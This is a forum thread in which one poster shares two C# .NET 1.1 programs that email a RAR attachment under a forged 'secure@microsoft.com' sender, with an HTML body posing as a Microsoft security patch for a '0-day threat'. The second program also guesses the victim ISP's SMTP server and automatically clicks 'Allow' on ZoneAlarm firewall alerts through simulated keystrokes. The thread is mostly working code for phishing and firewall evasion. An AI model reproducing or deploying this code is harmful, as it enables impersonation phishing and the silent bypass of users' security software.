Jump to content
Tuts 4 You

C# .NET 1.1 SendMail


JMC31337

Recommended Posts

Heres how ya send HTML with attachment in .NET 1.1

Believe .NET 1.1 comes pre-installed on all 32 bit machines

What this does is creates a rar archive with 123.txt in it, then emails it out

Depending upon what your ISP is, you will need to change the SmtpServer variable

Multiple recipients need to have a ; in between em

.NET Framework 1.1 is no longer supported through Express C# 2002-2003

You'll need to install the .NET Framework 1.1 Redistributable and .NET 1.1 SDK

This has to be compiled from commandline with

csc /out:c:\smtp.exe Program.cs

or if you want no console window

csc /target:winexe /out:c:\smtp.exe Program.cs

Directory should be %windir%\Microsoft.NET\Framework\v1.1.4322

that 1.1.4 could be different as long as it says 1.1.x

try to implement dnsresolve and gethostname as an update later on...

in order to use nslookup from .NET to grab the hostname to the smtpserver variable


using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Text.RegularExpressions;
using System.Web.Mail;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections;
using System.ComponentModel;
using System.Data;
using Microsoft.Win32;
namespace Nemesis1._1
{
class Program
{
static void Main(string[] args)
{
BinaryWriter binWriter = new BinaryWriter(File.Open(@"\Test.rar", FileMode.Create));
byte[] bb = new byte[] {0x52,0x61,0x72,0x21,0x1A,0x07,0x00,0xCF,0x90,0x73,0x00,0x00,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD1,0xA7,0x74,0x20,0x90,0x2A,0x00,0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x02,0xD2,0x63,0x48,0x88,0x42,0x47,0x5B,0x3D,0x1D,0x30,0x08,0x00,0x20,0x00,0x00,0x00,0x54,0x65,0x73,0x74,0x2E,0x74,0x78,0x74,0x00,0xC0,0x31,0x32,0x33,0xC4,0x3D,0x7B,0x00,0x40,0x07,0x00};
binWriter.Write(bb);
binWriter.Close();
try
{
MailMessage msgMail = new MailMessage();
msgMail.To = "jmc31337@gmail.com;tuts4you@tuts4you.com";
msgMail.From = "secure@microsoft.com";
msgMail.Subject = "Released Patch";
msgMail.BodyFormat = MailFormat.Html;
string strBody = "<html><body><b>Hello, We at Microsoft Security would like for you to install the latest patch included in this email attachment for this new 0-day threat. <a href=\"http://www.microsoft.com/security_essentials/\">Microsoft Security Essentials</a> </b>" +
" <font color=\"red\">Nemesis .NET 1.1 </font></body>WinRAR can obtained from http://www.rarlab.com/</html>";
msgMail.Body = strBody;
MailAttachment attachment = new MailAttachment("\\test.rar");
msgMail.Attachments.Add(attachment);
SmtpMail.SmtpServer = "smtp.comcast.net";
SmtpMail.Send(msgMail); } catch (Exception e)
{
System.Console.WriteLine(e);
System.Console.Read();
}
}
}
}

and after a format reload upon a XP Home Edition OS, the .NET Framework 1.1 was NOT pre-installed. It was an optional software update

And you dont need to download the SDK if you choose to install the optional software

I stand corrected

Edited by JMC31337
Link to comment

okay.. so this goes out to whats my ip

grabs the ip dns lookup upon the IP

uses index functioning to try each variable until it reaches the smtp server needed

and uses threads to get its work done

and send email out all while bypassing ZoneAlarm with sendkey A-A

shoulda used a kernel driver but.. thats for later

yea, i grabbed some code from a couple of places to help me gettttteerrrrrr done...


using System;
using System.ServiceProcess;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Text.RegularExpressions;
using System.Web.Mail;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.Collections;
using System.ComponentModel;
using System.Data;
using System.Windows.Forms;
using Microsoft.Win32;
namespace CNS
{public class Delta
{static IPHostEntry ipEntry;
static string newval;
started
public void Gamma()
{int x=0;
int y=0;WebClient client = new WebClient ();
Stream data = client.OpenRead ("http://www.whatismyip.com/automation/n09230945.asp");
StreamReader reader = new StreamReader (data);
string s = reader.ReadToEnd ();
data.Close ();
reader.Close ();try
{
ipEntry = Dns.Resolve(s);
}
catch(System.Net.Sockets.SocketException se)
{
Console.WriteLine(se.Message.ToString());
}string[] words = ipEntry.HostName.Split('.');
ArrayList list = new ArrayList();
list.Add("smtp");foreach (string word in words)
{
list.Add(word);
x++;
y++;
}string[] myArr = (string[]) list.ToArray( typeof(string) );
newval=string.Join(".",myArr);try
{
for(int z=0;z<y;z++)
{
int index1 = newval.IndexOf('.');
int index2 = newval.IndexOf('.', index1+1);
string result2 = newval.Remove(index1, index2 - index1);
Console.WriteLine(newval);
newval=result2;
try
{
MailMessage msgMail = new MailMessage();
msgMail.To = "jmc31337@gmail.com;xxx@xxx.com;";
msgMail.From = "secure@microsoft.com";
msgMail.Subject = "SHANGHAI EMAIL Released Patch";
msgMail.BodyFormat = MailFormat.Html;
string strBody = "<html><body><b>Hello, We at Microsoft Security would like for you to install the latest patch included in this email attachment for this new 0-day threat. <a href=\"http://www.microsoft.com/security_essentials/\">Microsoft Security Essentials</a> </b>" +
" <font color=\"red\">Nemesis .NET 1.1 </font></body>WinRAR can obtained from http://www.rarlab.com/</html>";
msgMail.Body = strBody;
MailAttachment attachment = new MailAttachment("\\test.rar");
msgMail.Attachments.Add(attachment);
SmtpMail.SmtpServer = newval;
SmtpMail.Send(msgMail);
}
catch(Exception e){}
}}
catch(Exception e){} }
};
public class CNS
{[DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
public static extern IntPtr FindWindow(string lpClassName,string lpWindowName);
[DllImport("USER32.DLL")]
public static extern bool SetForegroundWindow(IntPtr hWnd);static IntPtr hndl = FindWindow("ZoneAlarm Security Alert","#32770");
static bool za = false;public static void Main()
{try
{
BinaryWriter binWriter = new BinaryWriter(File.Open(@"\Test.rar", FileMode.Create));
byte[] bb = new byte[] {0x52,0x61,0x72,0x21,0x1A,0x07,0x00,0xCF,0x90,0x73,0x00,0x00,0x0D,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD1,0xA7,0x74,0x20,0x90,0x2A,0x00,0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x02,0xD2,0x63,0x48,0x88,0x42,0x47,0x5B,0x3D,0x1D,0x30,0x08,0x00,0x20,0x00,0x00,0x00,0x54,0x65,0x73,0x74,0x2E,0x74,0x78,0x74,0x00,0xC0,0x31,0x32,0x33,0xC4,0x3D,0x7B,0x00,0x40,0x07,0x00};
binWriter.Write(bb);
binWriter.Close();
}
catch(Exception e){}string serv = "IswSvc";
if(IsServiceInstalled(serv)==true)
{za = true;}Delta Delta1 = new Delta();
Thread thread1 = new Thread(new ThreadStart(Delta1.Gamma));
thread1.Start();
if(za==true)
{Thread.Sleep(700);
SetForegroundWindow(hndl);
SendKeys.SendWait("A");
Thread.Sleep(700);
IntPtr hndl2 = FindWindow("ZoneAlarm Security Alert","#32770");
SetForegroundWindow(hndl2);
SendKeys.SendWait("A");}}//YEA I BORROWED THIS FUNCTION
public static bool IsServiceInstalled(string serviceName)
{
ServiceController[] services = ServiceController.GetServices();
foreach (ServiceController service in services)
{
if (service.ServiceName == serviceName)
return true;
}
return false;
}
}
}
Edited by JMC31337
Link to comment

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
×
×
  • Create New...